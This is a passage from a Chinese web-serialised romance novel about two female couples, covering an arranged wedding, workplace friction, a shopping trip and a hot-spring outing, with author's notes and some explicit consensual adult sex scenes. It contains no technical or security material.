没多久,江诗文的电话便响了,她心惊胆战地一看,发现是自己的妈妈。 她听着电话内容,好声好气地应着,几分钟内脸色变了又变。 “庄玟跟我妈还有庄阿姨刚刚视频了,问了婚事的日子,说我不在,出去玩儿了!所以我妈就把电话打我这儿了,嫌我又乱跑不好好跟庄玟相处感情!”江诗文要死了,“不是她怎么这么会编瞎话啊!不是她把我吓跑的吗!我真得问问庄阿姨的小女儿了,年龄合适的话我愿意等她几年的!到底谁能受得了庄玟这种专制又霸道的人啊!明面上处处说要做彼此都乐意的事情,实则在背后偷偷耍花招要你必须按照她的想法走!” 门铃声再次响起来,岑曳走出来去开了门。 庄玟没走进,只是站在玄关处的拐角,视线落在餐桌边的江诗文,“跟我回家了,江阿姨有重要的事情要跟你商量。” “那明明是我家……”江诗文哭丧着脸去拿了沙发上自己脱掉的外套穿好。 “日子定了?”岑曳开口问。 “差不多一个月之后吧,具体的还在商议。” “嗯。”岑曳点点头,“到时候我提前把时间空出来,回去参加你们的婚礼。” 庄玟看了一眼姜又柠又收回视线,“你确定也要回去?” “有些事情总得快些解决了。”岑曳嘆口气,“一直拖着也不是办法。” 庄玟拎着江诗文的后颈快步离开,像生气的鸡妈妈拎着自己乱跑的鸡崽子回家。 岑曳倒了杯热水坐下来,一言不发地看着姜又柠吃饭。 被这样灼热的目光盯着属实有点影响食欲,姜又柠将碗推到她面前,“你也喝点?” “不吃了,下午跟合作方吃过了。” 姜又柠搅拌着碗裏的粥,想着刚才庄玟的话,“你一个月之后去总部那边,多久会回来啊?” “你想我多久回来?” “你这话说的,跟我不让你去一样。” 岑曳沉默几秒钟,“我可以不去的,你不想让我去我就不去了。” “你跟她们两个人关系都好,你肯定得去的嘛。” 明明是一个月之后才会发生的事情,现在她就有点舍不得了。 “你也可以跟我一起去。” 姜又柠的身子僵硬了下,“我人生地不熟的,英语也不好,人家说话我都听不懂的,而且……” 而且去了肯定会见到岑千兰,现在她还是很怕这个女人。 “没关系,反正都是些无聊的套话,你不用听得太认真,实在想交流,我一句一句翻译给你听。” 姜又柠笑了下,“那多麻烦啊……” “不麻烦,只要你想,怎么样都不麻烦。” 姜又柠的笑容一点点消散了,“其实我挺知足的,我在家裏等你就好,不过你到时候要快点回来。” 她一点儿都不想去,她甚至想想跟岑千兰见面的场景都会有点喘不过来气。 “我知道你担心的事情。”岑曳握住她的手,“不过没关系,我会让我们柠柠得到更多的爱的。” 包括她的母亲。 她的柠柠值得世界上所有美好的东西- 被庄玟拖了一路回家的江诗文刚打开视频通话就对着母亲撒娇。 “妈妈,我求你了,你跟庄阿姨再联系一下,我可以跟庄玟妹妹结婚的!只要不是庄玟,谁都行!” 庄玟就坐在她身后,同样入了镜,不过没说话,只是嘴角含笑地跟江母点头示意打了个招呼。 ——“又任性了,你们两个接触这么久了,在总部这边也认识好几年了,是最合适的人选。”江母语重心长地开口,“那个妹妹还小,还要一路往上读,心思都在学习上呢。” “我现在的心思在工作上!” ——“也可以,等你们回来领了证,妈妈就把你调到总部来上班。” 庄玟适时开口,“来庄氏也可以,反正我们都是一家人了。” ——“诗文你听听。”江母明显对于庄玟的话非常满意,“我跟老庄把日子确定好,这段时间你尽量多请假好好休息一下,把状态调整到最好。” ——“庄玟你也是,最近就别把太多精力放在工作上了,我之前看你跟岑曳在总部这儿的干劲啊,我都替你们累。” “到底谁才是你女儿嘛……你们倒是一唱一和的……”江诗文挂了视频通话,不满地瞪了女人一眼。 “国内部门已经稳定,项目后期,我的工作就不多了,之后也不打算在国内发展。”庄玟坦诚地告诉她自己的安排,“你好好考虑一下,要不要跟我在国外生活。” “不要。”江诗文立即拒绝,“结完婚,你待在国外,我留在国内,你玩儿你的,我玩儿我的,谁都别管谁!” “……行。”女人悠悠点头,“但你最好别玩儿得太花,影响到我们两家的名声就不太好。” “我在国内谁知道我结婚了?只要有钱这些根本不是问题好吗!我想跟谁谈恋爱就跟谁谈恋爱!我还能花钱订制,让我女朋友只听我的话,打扮成我喜欢的样子!”江诗文一板一眼地反驳,“你还是先跟我保证好,别自己在总部跟谁有一腿,到时候闹大可太容易了。” 庄玟冷笑一声,打量着她没戴丝巾的脖颈,“打扮成你喜欢的样子有什么用?你上哪儿找到跟我身体这么契合的?” “你除了说这些还会说什么?”江诗文站在沙发上,努力将身高压过她,叉腰道,“是!我是承认我对你的身体有那么一点点喜欢吧!但是!你令人厌恶的性格完全压制过了我的喜欢!” 女人盯着她,表情算不上太好,“从来没人敢说我性格差。” “还不是因为你是领导,谁对领导敢说实话啊?不想上班赚钱啦?”江诗文站在沙发上,脚尖不停地点,得意得很,“我就是敢说!我就要争当第一人!你!庄玟!脾气就是很臭!说话不近人情!非常冷血!” “你……”庄玟从来没听过这么滔滔不绝的负面词语,被气得没说出来话,转身回了房间,重重地关上了门。 江诗文站着一秒没动,随后大笑着躺在沙发上,“原来压过庄玟的感觉这么爽啊!!”- 部门又调进来几个员工,是另个分部门的,在空工位上补了下位置,这下看着齐齐整整的。 负责人也收到了一封来自总部的裁员邮件,气不过又来了会议室。 岑曳正跟庄玟开着小会对流程,见状正准备先去应付负责人,却被庄玟拦下。 “你坐着,我去。” 岑曳观察了下女人的脸,“你今天心情不好?” “很好啊。”庄玟露出笑容,朝着大会议室走,“帮你分担一下工作,不用感谢我。” 岑曳问了下庄玟的助理,助理一脸尴尬,“我也不太清楚,在总部的时候庄姐生气从来不挂脸的,没遇到这种情况过……” 剩下的会议内容被岑曳很快结束掉,散会之后就拿着文件去了江诗文那儿,“你跟庄玟怎么回事儿?” “怎么了?”江诗文满脑子雾水,“我今天早上可没跟她说过一句话。” “昨天晚上呢?” 一想到昨晚的状况江诗文就忍不住笑,她又怕笑得太猖狂会丢脸,所以捂着嘴巴抿唇笑,“也没发生什么啊……” 岑曳看了眼时间,“都去大会议室半个小时了,也不知道裏面在聊什么。” 姜又柠凑过来,“还是另个部门的负责人吗?她不会每隔一段时间就要来讨说法吧?” “应该没有下次了,总部昨天给她发了封辞退邮件,来我们这儿撒气而已。” 下一秒,大会议室的门就开了,负责人红着眼睛,还有意遮挡住自己的脸,步伐急匆匆地离开了这裏。 “这下看来,是真的没有下次了。”岑曳说完,庄玟心情悠扬地走到她身边,“帮你处理好了,不谢。” “这么厉害啊,那昨晚你怎么也气冲冲地回房间了?”江诗文下巴抬得高高的,“该不会也跟这个负责人一样,偷偷哭鼻子了吧?” “江诗文。”庄玟冷脸威胁她。 江诗文翘了翘唇,及时地闭了嘴。 “行了,还有工作要忙呢。”岑曳示意她快些回办公室,自己依旧留在原地,视线落在了姜又柠的身上,“中午想吃什么?” 姜又柠先是往周围看了看,没人关注这边她才回答,“什么都想吃,你今天中午能准时吃饭吗?” “能啊。”岑曳伸出手勾了勾她的鼻子,“你想就能。” 江诗文撑着脑袋在一旁看着,酸酸的,“好羡慕哦……庄玟就不会这么问我。” 岑曳勾唇笑,“她偶尔对你好的时候,你也得适当地接受对吗?两个人都是刺猬,每次见面都要背靠背,满身的刺互相抵着怎么会好呢?” 江诗文无法反驳,这话说得太正确了,她瘪瘪嘴,“我中午能跟你们一起吃饭吗?” “来吧诗文!”姜又柠立即同意了,“你想吃什么?” “你俩决定吧,给我发消息就行。” 岑曳又敲响了庄玟办公室的门,裏面随即道,“文件改得这么快又想我打回去重做?” 看清来人是谁,庄玟的态度收了不少,“做什么啊岑总监?特地来谢我就算了。” “你别跟她把话说得太过分,回头给总部写投诉信,你倒是跑回去了,我还在这儿长留呢。” “她不会写的,这么弄只会让她自己在行业内无处可去。”庄玟冷声道,“工作能力这么差还能当上部门负责人,当初是谁把的关?这不也是总部那边负责的人员调动吗?” “你就别操心这事儿了。”岑曳也头疼得很,“早上诗文妈妈给我发消息了,让我掺和几脚你俩的关系,说诗文见你跟见了仇人一样,我这儿国内项目一个接一个的忙得很,你俩自己的事儿能自己处理吗?” “她见我确实跟见仇人一样,没见过脾气这么差的小姑娘。”庄玟说,“反正结了婚她要在国内待,我还要在总部工作,不会再回国跟她见一次。” “话别说得这么早。”岑曳想了想,“中午跟我们一起吃饭吧,诗文也在。” “不吃了,补个觉。”庄玟脸色很差,“昨晚就睡了两个小时。” 岑曳惊讶又意外,笑着道,“诗文说什么了把你气成这样?” 庄玟不语,摆摆手不愿意再多谈了- 饭点,两个人在餐厅坐下,岑曳去了卫生间洗手。 “一个月之后就要结婚了,可我跟庄玟现在连好好说话都做不到……”江诗文也不知道怎么回事儿,她其实挺想跟庄玟好好相处的,虽然嘴巴上说着各玩各的,但真把证领了以后肯定大事小事都要待在一起处理的。 “一会儿问问岑曳怎么办呢?”姜又柠也看出来了她的苦恼,“她应该很了解庄玟的。” 几分钟之后,岑曳坐下拿起了筷子,“庄玟补觉去了,不吃午饭,别找了。” 江诗文悻悻收回了乱瞄的视线,“她真生气了?” 她回想着自己昨晚也没说什么难听话啊,事实也能叫难听话? “那我一会儿给她打包个午饭送回去吧。”江诗文鼓鼓腮帮子,“她这人确实嘴皮子功夫不太行哈。” “她以前接触的都是总部那边的人,私下也没什么朋友,没日没夜的工作,聊闲话确实不太厉害。” “她自己不爱社交能怪谁啊?”江诗文想了想,“之前我们在国外的几次聚餐,她自己不来啊!说要加班的。” “庄氏发展劲头一直很猛,她出的力不小。”岑曳坦诚地夸赞,“从默默无闻的小公司到现在被总部看重,庄玟苦也是吃了不少的。” 女人转眼又问,“她没跟你如实说过好好发展关系吗?” “说了好几次的,她自己最近非要在网上看恋爱帖子乱学!” 什么强吻,什么壁咚的…… 虽然江诗文不得不承认她有那么一点点喜欢,但要是心上人对她做这些就更好了。 每次都是庄玟来做,她就感觉怪怪的。 “你不跟她坦诚你想要的你喜欢的,她当然只能自己去找答案了。”岑曳提起姜又柠来,“我们柠柠就从来不隐藏自己的想法呢。” 在一旁安安静静听着的姜又柠突然被点了名字,嗔怪地看她一眼,“好好的你提我干嘛……” “没有的就去发展,就像感情、爱好;已有的彼此就坦诚些,这样就能了解得更深刻。” 岑曳说着,回忆起自己跟姜又柠的过去来。 无论是好的不好的,烦心的快乐的,姜又柠每次放学之后都会滔滔不绝地讲给她听。 她们很乐意给彼此分享这些生活中的日常小事儿,不在对方身边的片刻时间裏,也总把对方加到回忆的甜蜜中去。 江诗文听完沉默了好久,“我之后会帮她发展一个爱好的,当然了也得是我喜欢的……至于我的喜好……那我也得知道她的才行!” 她一鼓作气,又点了几道菜要服务员打包,“我不吃了!我先上楼喊庄玟一起吃!我今天非得问出来她的喜好才行!” 两个人目送着她拎着菜离开,岑曳无奈笑笑,感慨道,“风风火火的,之前就是这样,想到什么做什么。” “性格哪裏容易改嘛。” “性格不容易改,想法也不容易改。” “是吗?”姜又柠下意识延续这个话题。 “当然了。”女人悠悠道,“就像我喜欢你这一点,怎么都不会变。” 姜又柠:“……幼稚!”—— 作者有话说:庄姐很可爱的一个女人啊哈哈哈,我好像第一次写这么有意思的年上。 我们庄姐勤勤恳恳工作三十年,第一次恋爱就碰上小江这么个硬茬了哈哈哈哈! 铁树开花,还没开呢花骨朵就被气得全败了! 第57章 江诗文敲了几下庄玟办公室的门, 没听到任何回答。 她不知道庄玟有没有睡着,也不好意思跟她打电话,所以悄悄将门开了一小道缝, 随后就跟裏面的女人对上了视线。 庄玟正躺在折迭椅上,盯着手机严肃地看着什么。 “你不是睡觉了吗?”江诗文走进来,将门反锁上了。 “那门锁是坏的, 别锁了容易打不开。” “你看什么呢这么认真?”江诗文别扭地说,“我……我给你带了午饭。” 眼看见江诗文凑近了个脑袋, 女人将手机反过来按在桌面上, 打量着她这张满是笑容的脸。 “你要是来看我笑话, 现在就可以走了。” “我担心你饿肚子嘛。”江诗文思索了下, “你喝饮料吗?我点两杯奶茶送过来?不过这个点儿点奶茶,送来饭肯定都吃完了。” 庄玟看她现在倒是乖巧,“岑曳又给你灌什么鸡汤了?” “没有啊,我就是想跟你好好相处嘛。”江诗文热情地打开餐盒, 分了两碗米饭, “昨晚是我言语过激了,我跟你道歉!” “不接受。” 江诗文笑容剎那间收敛,瞪她一眼深呼吸了一口气,重新堆出笑容来,“对不起嘛, 你跟我一起吃饭吧, 这家味道很不错的!” “不饿, 不想吃,我现在只想睡觉。” “你现在是不是在心口不一?”江诗文反问她,“你不是不会撒谎吗?你也跟那些帖子上面说的一样啊!” 庄玟睨她一眼,拆了一次性筷子, 往嘴裏塞了口米饭。 “被我戳穿了吧?”江诗文得意洋洋的,但看见女人的脸色微变,又及时打住,给她的碗裏夹了菜,“你昨晚睡得好吗?” “还不错。” “心口不一啊你。” “睡了两个小时,勉强还不错。” 江诗文抿唇笑,“那这周末你好好补个觉,下午或者傍晚我们出去逛街行吗?” 反正以后都要跟庄玟这个女人纠缠,她还不如把自己的喜好全给她培养一遍。 这样她也不用麻烦姜又柠了,不然岑曳肯定会吃醋的,她又不是爱当电灯泡的人。 “买什么?香水?衣服?鞋子?首饰?” “也不是非要买什么,就是逛逛。”江诗文跟她描绘着,“看见柜臺裏那些摆得很漂亮的东西心情就会很好啊!你什么时候心情会好?” “项目很顺利,合作方有脑子,手下人不犯蠢。” “除了工作呢?”江诗文打算问得直白一些,“你跟我呆在一起的时候,什么时候心情很好?” 她问出口,语气裏居然有那么一丝丝的期待。 等了半分钟,庄玟一个字都没说。 “你敢没有吗!” “有的。”庄玟陷入了回忆中,“有的,有的,我想一想……” “你别又给我心口不一!瞎编乱造!” 回忆没能思索出任何答案的,但庄玟意识到这会儿她心裏的怨气莫名其妙散去了很多。 于是她认真回答,“之前没有,但现在有。” “现在?” “嗯,就是现在。”女人点头,“谢谢你的午饭。” 很意外也很直接的回答,跟以往的冷嘲热讽一点儿都不一样,没有居高临下,没有瞧不起,反而多了些诚挚。 江诗文摸了摸点,连指尖都被染得发烫,她不自然地吃着饭,“要不我去饮料机裏买两瓶冰镇可乐吧?” “我去吧。”庄玟起身走到外面,江诗文感受着自己跳动的心脏,不知所措。 这个女人认真起来还真挺吓唬人的。 再次返回来的时候,庄玟的手裏多了两瓶可乐,江诗文皱着眉头,“可乐要喝冰镇的嘛,不然好难喝的!” “那我去换?”庄玟抿唇不解,“天气冷,还是喝常温的吧,不然会生病。” “也,也行……”江诗文抬眸奇怪地看她一眼,正准备打开可乐的时候就被女人抢先一步。 庄玟用纸巾擦掉杯口溢出来的些许可乐渍,“喝吧。” 江诗文真怀疑这可乐裏面有没有下毒,尤其是那种藏在指甲裏面不经意间就会丢进去迅速融化掉的那种,不然怎么解释庄玟当下反常的变化? 不睡觉的后果这么严重吗? 把人的性格都熬得温和了。 “给你订了一箱零食,晚上下班的时候应该会送到家裏。” 江诗文停下了吃饭的动作,开始认真观察女人的这张脸,“你要不还是补个觉?” 真像是回光返照。 “怎么了?” 江诗文摇摇头,后半程没有再主动开口,而庄玟倒是有一搭没一搭地给她夹菜,见她嘴巴吃脏了还给她拿来了纸巾。 吃光的饭盒被庄玟收起来拎到了楼层走廊的大垃圾桶,回来的时候女人的手机恰好响了。 “你的电话。”江诗文帮她拿起手机递给她。 庄玟看了下门锁,“稍等。” 是工作电话,这会儿还在午休时间,所以没有打扰多久就有眼色地挂断了。 屏幕一跳,江诗文看见了帖子下面的一条评论。 【女朋友脾气差,总是窜天窜地怎么办?】 【答:当成没开智的狗狗养就好了,或者奶牛猫,她越是脾气臭你对她越是好,这样她反应不过来就会宕机的。】 最重要的是,象征着点赞的大拇指是红色的。 “庄玟!”江诗文喊她。 庄玟露出笑容耐心道,“怎么了?” 看见她拿着手机气势汹汹的,回想过来自己没有退出的一条帖子,抿唇冷脸将手机拿走了。 “怪不得我进来的时候你拿着手机遮遮掩掩的,还不让我看!” 庄玟嘆了口气,伸出手抚了抚她的发顶,“吃饱了吗?要不要帮你点杯下午茶喝?” “我不喝!” “还喝杨枝甘露吗?热的五分糖。” “我……”江诗文的气像一拳打在了棉花上,后面的话都被迫咽回了肚子裏。 庄玟拿出手机下单,“要不要在我办公室睡,折迭床还挺舒服的。” “我不睡……” 庄玟揉着她头发的动作快了些,“帮你铺开,我帮你把毯子拿过来。” 江诗文站在原地整理着自己的长发,头发乱糟糟的,心情也乱糟糟的。 明明知道庄玟都是把她当不听话的小猫小狗,她偏偏也没有最开始那种抗拒的感觉。 好像上过床之后,这种日常中的接触就变得格外自然。 庄玟心情轻松了不少,她看了帖子,把猫舔好的毛发重新揉乱,小猫就会重新舔毛,根本再顾不上做其它的事情。 帖子果然有用,至少比前几天那个强吻的效果好多了。 毛也不炸了,话也不说了,呆呆地站在原地,脸上满是难以置信的怀疑。 庄玟帮江诗文盖好了毯子,半躺在自己的办公椅上,终于度过了一个美好的午休- 下午姜又柠也同样收到了一杯奶茶,但发现江诗文的脸色始终透着一层淡淡的绯红。 “你们两个在办公室亲亲了?” “怎么可能?难道你有这种经历?”江诗文一惊一乍的,拿在手裏的奶茶像是烫手山芋。 姜又柠一顿,她好像确实有这种经历。 “你现在跟你那天戴丝巾的状态一模一样。” “我要工作了。”江诗文深吸一口气,其实她午休睡得不好,甚至根本没有睡着。 原来因为一个人睡不着的感觉是这样的,庄玟昨晚的状况她也体会到了一次。 可庄玟是被她气得睡不着,可她呢…… 一下午,江诗文的状态都没有变过,姜又柠也没再仔细问了,不过没有吵架就挺好的。 下班她坐在岑曳的副驾驶上,跟她说了这件事情。 “一个好一个坏,还真轮流着来。”岑曳开着车,感嘆一句,“这两个人也算是找到了一种相处方式。” 虽然格外诡异。 “对了,趁着新项目还没开始,下周末我们要不要一起去旅游?” “周末吗?”姜又柠惊讶道,“这么突然?” “时间太赶的话,我们可以一起请个假,正好庄玟还没走,我也能捞个清闲的时候。”岑曳侧头看她,“还记不记得你上大学的时候跟我说,想假期的时候跟我一起去看海?” “可我们不是去过了嘛。” 她们说过要一起看遍祖国的大好河山,但最后也只有在高考结束后的那个长假一起去旅游了。 岑曳的工作很忙,脱不开身,而且时不时还会被岑千兰喊走做些别的事情。 冬天姜又柠又嫌太冷,懒得出门,所以说了好多次也没有再一起出过远门。 “看看别的城市有没有你想去的。”岑曳说,“陪我去,好不好?” “你想去的话当然好呀!”姜又柠开心地答应了。 见她灿烂的笑,岑曳放了心。 最近姜又柠的情绪不太好,前几天又抱着她崩溃大哭,她总得做些什么。 要不尽快处理感情当中的阻碍,要么安抚姜又柠的情绪,她至少要做到一个。 “这周末诗文还拉我出去聚餐呢!”姜又柠说,“她打算跟庄玟出门逛街,晚上约我们泡温泉,还给我发了温泉馆的地址,晚上我来研究一下。” “嗯,你同意的话我们就一起去。” 晚饭是在家裏吃的,岑曳又学了新的菜,依旧第一次做就能做得很成功。 姜又柠的夸赞像小时候一样,比着大拇指,一个字都说不出来,却鼓着腮帮子语气词‘嗯嗯嗯’的接连不断。 饭后晕碳犯懒的毛病卷土重来,岑曳收拾了碗筷抱着她去了浴室。 状态美好到一切都那么顺其自然。 女人抱着她拥吻,指尖勾着她的毛衣脱掉,轻轻触碰白皙肌肤的两抹红晕. 掌心覆盖,姜又柠发出了细微的嘤咛声。 “张嘴。” 岑曳嫌她懒洋洋的不肯配合,指腹捏着她的耳朵,舌尖勾着她的耳廓舔舐,咬着她的耳垂,含在嘴裏又吮又吸。 “岑曳……”这下姜又柠听话地张开了唇,女人的吻从颊边一路蔓延在她的唇上。 两双唇再次紧贴,全身彻底被凉意袭击,姜又柠抱紧了女人的身体取暖,柔软的肌肤相抵,她搂过她的脖子不肯松手。 岑曳要她贴紧自己,胳膊彻彻底底地拥住了她。 吻细密黏连,要比过去柔和绵长得多。 心意互通,彼此都在表达着自己从未消失过的爱意,纠缠得难舍难分。 唇瓣被亲得波光粼粼的,姜又柠眯着眼睛,整个人都舒服得很,岑曳的手在她后腰上不轻不重地上下摩挲,将她照顾得服服帖帖。 洗手臺上垫了几层毛巾,她被岑曳抱着坐上去。 女人半蹲下来,双手按住了她的双腿。 姜又柠意识到她要做什么,并拢了下却被她威胁意味地拍了好几下。 地面上有水珠落下,岑曳垂眸看了一眼,轻轻地笑了笑。 呼吸喷洒在瀑处,姜又柠咬住唇,感受到了女人的第二次亲吻。 就这样被她直勾勾地用舌尖勾着,简直无所遁形。 姜又柠仰起了脖子,双手按住身下的毛巾,湿漉漉的感觉很快就察觉到了。 “柠柠……”岑曳一路吻上去,吻她轻抖的小腹,柔软处红晕也不放过,牙齿含住她的锁骨,留下浅淡的压印,最后重新吻上了她的唇。 满含爱意的欢/爱已经许久没有过了。 姜又柠有点想哭,身体和情感的双重刺激下,她意识到,岑曳一直是属于她的,从来都没有变过。 过去的几次亲密她们之间还有阻隔,但现在她们之间的阻挠正在一层层被突破。 幸福得想哭,她好像很快就要登到幸福的最高点了。 岑曳吻她,手掌没停,拍她又按压她,细微的水珠飞溅,姜又柠忍不住哭腔,低声埋在女人的颈窝裏恳求她。 “柠柠……会永远喜欢我吗?” 姜又柠没有回答,她没办法说出任何一个清晰的词语,只是用身体反应告诉她,她已经彻底深陷到了满是水的爱海当中- 周六中午,四个人约了顿饭,饭后便分道扬镳,兵分两路,约定在晚上的时候在温泉馆集合。 “上次这样一起散步还是在晚上吃饱饭之后,那个时候我们刚住在一起没多久。”姜又柠的手被岑曳拉着,两个人走在幽静的小路上,两边都是些当地的纪念品小店。 今天阳光很好,照在身上暖洋洋的,光线透过树梢洒下来,不算刺眼。 “以后我们可以天天一起逛。” 随便走进了一家纪念品店,墙上挂满了各式各样的动物冰箱贴,旁边的椅子上还卧了两只肥胖的布偶猫,懒洋洋地眯着眼睛晒太阳。 姜又柠仔细挑选了两个冰箱贴,一个狐貍的,一个貍猫的,“贴在我们家裏的冰箱上!” 岑曳拿出手机扫码结账,“哪个家?” “反正不是租的这个小区啦……”姜又柠拐着弯儿回答,没好意思直白地说实话。 “又柠?” 听到人声姜又柠抬眼望过去,看见这家店的店长冲她打招呼。 姜又柠认出来是自己的大学同学兼室友,“你真的开店啦?” “对啊!”店长说,“当初晚上我们寝室一起聊天,说现在就业环境这么差,我毕业要是找不到工作我就开一家纪念品店,不怎么忙,环境也干干净净的!” “多好呀,日子过得很舒服啊。” “但是不怎么赚钱啦,有时候还要我妈资助一下。”店长双手将袋子递给岑曳,瞧着女人眼熟,“你是又柠姐姐?刚上大学那会儿我记得你天天来校门口找又柠的。” 岑曳笑着点头。 “你们还在一起呀,真好。”店长感慨一句,“当时我就说了你俩肯定是一对儿,咱那俩室友还不信,非说你们是亲姐妹,后来我们都看见了你们两个在校门口那个大树下面……” 她两只食指对了对,露出了一个意味深长的笑容,“刚刚没认出来你姐姐,早知道免费送你们了。” 店长转身又拿了几个明信片装进袋子裏递给姜又柠,“这个卖得特别好!写祝福语或者邮寄给朋友都是很有意义的,明信片上的图都是我们当地的景色和有名小吃!” 姜又柠推脱不过,只好收下了,临走前还rua了几下猫咪。 “要好好在一起呀你们!你俩真的很般配。”店长压低声音凑近她的耳朵,“这几年咱几个室友感情上都不太顺利,分分合合好多次,有事没事儿就来我店裏喝茶聊天,就你工作忙,也没怎么跟我们联系了。” “刚毕业那年真的很忙,天天加班来着,一回家就倒头大睡,休息时间全用来补觉了。”姜又柠解释道。 “你之后没事儿的话就常来我这儿吧,我们叙叙旧,大家一起热热闹闹地玩呗!” 姜又柠点点头,欣然应允了。 走出店外,姜又柠的脑子裏想起了很多大学时候的事情。 “时间过得好快,我都二十四快二十五了。”姜又柠眺望着远方,“不过我室友记性还挺好的,几年没见过你了还能一下子记起来。” 岑曳只是笑着,没怎么说话。 “她们都觉得你长得漂亮呢,后来还偷偷问我到底怎么样才能有这么漂亮的青梅姐姐。”姜又柠说,“后来嘛……” 后来就没有后来了。 她们分手了,岑曳去了国外。 校门口再也没了岑曳等待她的身影,她虽然没有明说,但室友看出她的状态不对,知道她应该是分手了。 失败的初恋太刻骨铭心,更何况姜又柠跟岑曳一起生活了好多年。 那一整个学期,她都吃不下饭,做什么都没兴趣,总是一个人偷偷躲起来哭。 她拉黑掉岑曳的微信和电话,绝对绝对不是因为讨厌或者不喜欢! 而是她怕自己忍不住,又一次去联系她。 “但她现在知道了我们还在一起,不是吗?” 姜又柠抿唇笑,压下心中的苦涩,“她们不相信的爱情应该可以再次相信了……” 岑曳避开了她的视线,每次谈到重新在一起的话题,她都能够从姜又柠的面容上看出来违心。 尽管她有意隐藏起来,但她的心思岑曳每一次都能够轻松看破。 女人轻轻嘆了口气,似是自责,似是无奈。 她十指紧扣过姜又柠的手,带着她继续漫无目的地闲逛。 另一边。 庄玟的手裏拎着大包小包的购物袋,卡也被拿出来好几次,这会儿甚至直接塞在了江诗文的口袋裏。 她刚下意识冷脸,就说服自己对待自己家裏的小猫小狗要有耐心,态度要温和一点,不然的话,不就是在伤害动物吗? 于是她重新露出了平静的笑容,手上的衣服鞋子也立即变成了玩具和猫粮狗粮。 江诗文两手空空,只背了个跟衣服搭配的包包,包裏面是空的,什么都没装。 庄玟平日裏唯一背的包就是公文包,裏面重要文件塞了不少,早上出门的时候,对于江诗文空包装扮满是疑惑。 “这包就不是用来装东西的,哎呀你不懂!” 临近傍晚,街边小摊逐渐多了起来,伴随着各色各异的彩灯,格外缤纷热闹。 有卖玫瑰花的奶奶在椅子上坐着,花束是手工编织的,庄玟想了想,“给你买一些吗?” 江诗文也挺喜欢的,但皱着眉头告诉她,“你就不能直接买吗?非要问我!” “行,下次就不问了。” 庄玟拎着满手的东西往另一边走,江诗文拦住她离开的步伐,惊讶道,“你这就不买啦?” 女人顿住脚步,要她挑选了几朵喜欢的,江诗文挑了朵白色的和红色的玫瑰花,从庄玟的口袋裏拿出手机,问了她支付密码之后,顺利地买了单。 “你手机没有锁屏密码?” “弄那个做什么,浪费时间。” “你不怕别人偷看你手机?” 庄玟打开后备箱,将大包小包放上去,“没什么好看的,喜欢上班想要进步可以来看我的手机,裏面有不少项目文件。” 江诗文把手机给她塞了回去,对于这个女人的一切完全没兴趣。 去温泉馆的路上,江诗文有意问她,“你今天觉得无聊吗?” “还可以。” “没有心口不一吧?” “没有。”庄玟说,“我不说谎话。” “有没有撒谎我问问就知道了。”江诗文打探着女人的想法,“你下次还想跟我一起出门逛街吗?” “想。” 这个答案还挺意外且干脆的,江诗文收回了视线,没再继续往下谁,维持了几分钟的平静表情还是露出了一个开心的笑容。 温泉馆内,姜又柠跟岑曳到的要早一些。 因为提前预约了两间私人汤泉,所以四个人打了个照面依旧两两分开。 温度有些烫,姜又柠换了衣服刚下水有些不太适应,便坐在岸边,将双脚伸进了池子裏。 岑曳端来了果切喂给她吃了一块哈密瓜之后才放在了一旁的小桌子上。 “我还以为会有服务员来送。”姜又柠随口说道,抓起水笑着往女人身上撒了一把。 “确实是服务员来送的,但我要她们放到门口了,我去拿进来就好。” “为什么?” 姜又柠薄薄的纱质衣服此刻湿漉漉地挂在身上,岑曳上下打量了她几眼,话说得很含糊,“不太想让别人来打扰我们。” 这样的姜又柠只准她一个人看。 姜又柠拢了拢衣服,被女人灼热的眸光看得心跳加速,她抿抿唇,视线落在了水面上。 岑曳下了水,站在她分开的双腿中间,“要下来试试吗?” “我刚刚试了,有点烫。” “那我把温度调低一些。”岑曳适当地调了下温度,冲着她张开双臂,“来,抱你下来。” 姜又柠双手撑着岸边,感受到女人的怀抱,大胆地下了水。 “温度还好吗?” “好多了。”姜又柠点点头,可岑曳依旧抱着她没松手。 “嗯。”她观察着她的状态,“一会儿等你适应了我再慢慢把温度调高。” 两个人都没穿内衣,此刻女人的胸脯贴着她的后背,柔软正有意无意地摩擦。 这跟晚上抱着睡觉是不一样的,那个时候她满是困意,只知道温暖的怀抱睡着很安心。 可当下,汤泉内开着暖光灯,水面冒着白雾,彼此的面容看不太清,模糊又动人。 湿漉漉的感觉迫使姜又柠下意识联想到了些别的。 欲盖弥彰要比一丝/不/挂要更容易让人想入非非。 哪裏的温度都很烫,烫得她脑子晕乎乎的,所有的感官系统都涌到了后背,正更加深刻地感受女人的拥抱。 姜又柠吞咽了下,莫名有些口渴。 她的脖颈和双颊涌上绯红,要比肌肤上的羞赧来得更快。 岑曳轻轻地笑,咬了下她的耳朵,“柠柠,昨晚的事情,我们要在这裏也试一试吗?”—— 作者有话说:我前段时间写章纲,算了下最近几章,应该能评论破两千,所以章纲卡的剧情点都挺多的打算庆祝加更来着。 没想到我失算了……但还是没有重新分章,最近每章都写得满满的[摸头][摸头] 第58章 水面上因为两个人的动作泛起了层层的涟漪。 岑曳还在紧紧地抱着她, 姜又柠挣扎了下,试图往前走几步。 泡温泉可以放松身心,打消疲倦, 但一边冲能量一边释放的话,那不是没有任何效果吗? 她可不想一路晕晕乎乎的回家。 如果回家时间尚早,晚上避免不了又是一顿‘恶战。’ “可是不卫生吧?”姜又柠给了她一个无法拒绝的理由, “你不知道我看新闻上,好多温泉馆都有细菌的!” 岑曳抿唇, 眸光下滑, 眉头深深地皱了起来。 她的卫生焦虑又一次被姜又柠草草点了起来, 甚至现在就想上岸。 “非要在这种时候说破坏氛围的话?” 姜又柠轻哼了一声, “你以前还不是会晾着我去系那个破丝带?!” “我记得丝带这个建议是你提的。” 岑曳也不太喜欢借用太多调/情的工具,事前事后都需要花费大量的时间整理,她只想抱着姜又柠舒舒服服地睡觉。 “谁知道你的强迫症连丝带都不放过!” 女人有意无意撩了几下水波,“可是我现在改掉了。” 姜又柠伸出手指戳了戳女人的胸, “回家再做, 行吗?” 她偷偷凑近女人的耳边,压低了声音说了句话,岑曳便拍了下她的屁股,勾勾唇放过了她。 不过这会儿岑曳看这个温泉怎么看都不太顺眼,起身上了岸, 又喂了姜又柠一块水果。 姜又柠趴在岸边, 撑着脑袋看向椅子上的女人。 岑曳正闭目养神, 姿态闲适。 领口薄纱微敞,湿漉漉地淌在胸口,混着水珠,发尾在胸前藏起来, 偶尔钻出几丝。 江诗文说,在国外朋友聚餐的时候,岑曳也会同意一起出来玩。 那这个女人交了多少朋友?现在还有联系吗? 